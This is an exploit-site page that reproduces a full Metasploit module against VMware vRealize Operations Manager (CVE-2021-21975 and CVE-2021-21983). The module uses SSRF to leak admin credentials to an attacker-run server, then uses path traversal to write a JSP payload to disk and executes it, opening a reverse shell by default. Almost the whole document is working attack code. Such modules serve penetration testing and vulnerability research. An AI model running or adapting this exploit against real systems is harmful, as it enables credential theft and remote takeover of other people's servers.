Advertisement






VMware vRealize Operations Manager Server-Side Request Forgery / Code Execution

CVE Category Price Severity
CVE-2021-21975 CWE-918 $50,000 - $74,999 Critical
Author Risk Exploitation Type Date
David Yesland of Rhino Security Labs High Remote 2021-04-30
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021040176

Below is a copy:

VMware vRealize Operations Manager Server-Side Request Forgery / Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VMware vRealize Operations (vROps) Manager SSRF RCE',
        'Description' => %q{
          This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth
          file write (CVE-2021-21983) in VMware vRealize Operations Manager to
          leak admin creds and write/execute a JSP payload.

          CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and
          CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate
          endpoint. Code execution occurs as the "admin" Unix user.

          The following vRealize Operations Manager versions are vulnerable:

          * 7.0.0
          * 7.5.0
          * 8.0.0, 8.0.1
          * 8.1.0, 8.1.1
          * 8.2.0
          * 8.3.0

          Version 8.3.0 is not exploitable for creds and is therefore not
          supported by this module. Tested against 8.0.1.
        },
        'Author' => [
          'Egor Dimitrenko', # Discovery
          'wvu' # Analysis and exploit
        ],
        'References' => [
          ['CVE', '2021-21975'], # SSRF
          ['CVE', '2021-21983'], # File write
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0004.html'],
          ['URL', 'https://twitter.com/ptswarm/status/1376961747232382976'],
          ['URL', 'https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis']
        ],
        'DisclosureDate' => '2021-03-30', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => ARCH_JAVA,
        'Privileged' => false,
        'Targets' => [
          ['vRealize Operations Manager < 8.3.0', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SRVPORT' => 8443,
          'SSL' => true,
          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS, # /usr/lib/vmware-casa/casa-webapp/logs
            ARTIFACTS_ON_DISK # /usr/lib/vmware-casa/casa-webapp/webapps/casa
          ]
        },
        'Stance' => Stance::Aggressive
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def setup
    super

    @creds = nil

    print_status('Starting SSRF server...')
    start_service
  end

  def check
    leak_admin_creds ? CheckCode::Vulnerable : CheckCode::Safe
  end

  def exploit
    return unless (@creds ||= leak_admin_creds)

    write_jsp_payload
    execute_jsp_payload
  end

  def leak_admin_creds
    # "Comment out" trailing path using URI fragment syntax, ostensibly
    ssrf_uri = "#{srvhost_addr}:#{srvport}#{get_resource}#"

    print_status('Leaking admin creds via SSRF...')
    vprint_status(ssrf_uri)

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/casa/nodes/thumbprints'),
      'ctype' => 'application/json',
      'data' => [ssrf_uri].to_json
    )

    unless res&.code == 200 && res.get_json_document.dig(0, 'address') == ssrf_uri
      print_error('Failed to send SSRF request')
      return
    end

    unless @creds
      print_error('Failed to leak admin creds')
      return
    end

    print_good('Successfully leaked admin creds')
    vprint_status("Authorization: #{@creds}")

    @creds
  end

  def on_request_uri(cli, request)
    print_status("#{cli.peerhost} connected to SSRF server!")
    vprint_line(request.to_s)

    @creds ||= request.headers['Authorization']
  ensure
    send_not_found(cli)
    close_client(cli)
  end

  def write_jsp_payload
    jsp_path = "/usr/lib/vmware-casa/casa-webapp/webapps/casa/#{jsp_filename}"

    print_status('Writing JSP payload')
    vprint_status(jsp_path)

    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part(
      "../../../../..#{jsp_path}",
      nil, # Content-Type
      nil, # Content-Transfer-Encoding
      'form-data; name="name"'
    )
    multipart_form.add_part(
      payload.encoded,
      nil, # Content-Type
      nil, # Content-Transfer-Encoding
      %(form-data; name="file"; filename="#{jsp_filename}")
    )

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/casa/private/config/slice/ha/certificate'),
      'authorization' => @creds,
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    )

    unless res&.code == 200
      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
    end

    register_file_for_cleanup(jsp_path)

    print_good('Successfully wrote JSP payload')
  end

  def execute_jsp_payload
    jsp_uri = normalize_uri(target_uri.path, 'casa', jsp_filename)

    print_status('Executing JSP payload')
    vprint_status(full_uri(jsp_uri))

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => jsp_uri,
      'authorization' => @creds
    )

    unless res&.code == 200
      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
    end

    print_good('Successfully executed JSP payload')
  end

  def jsp_filename
    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
  end

end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum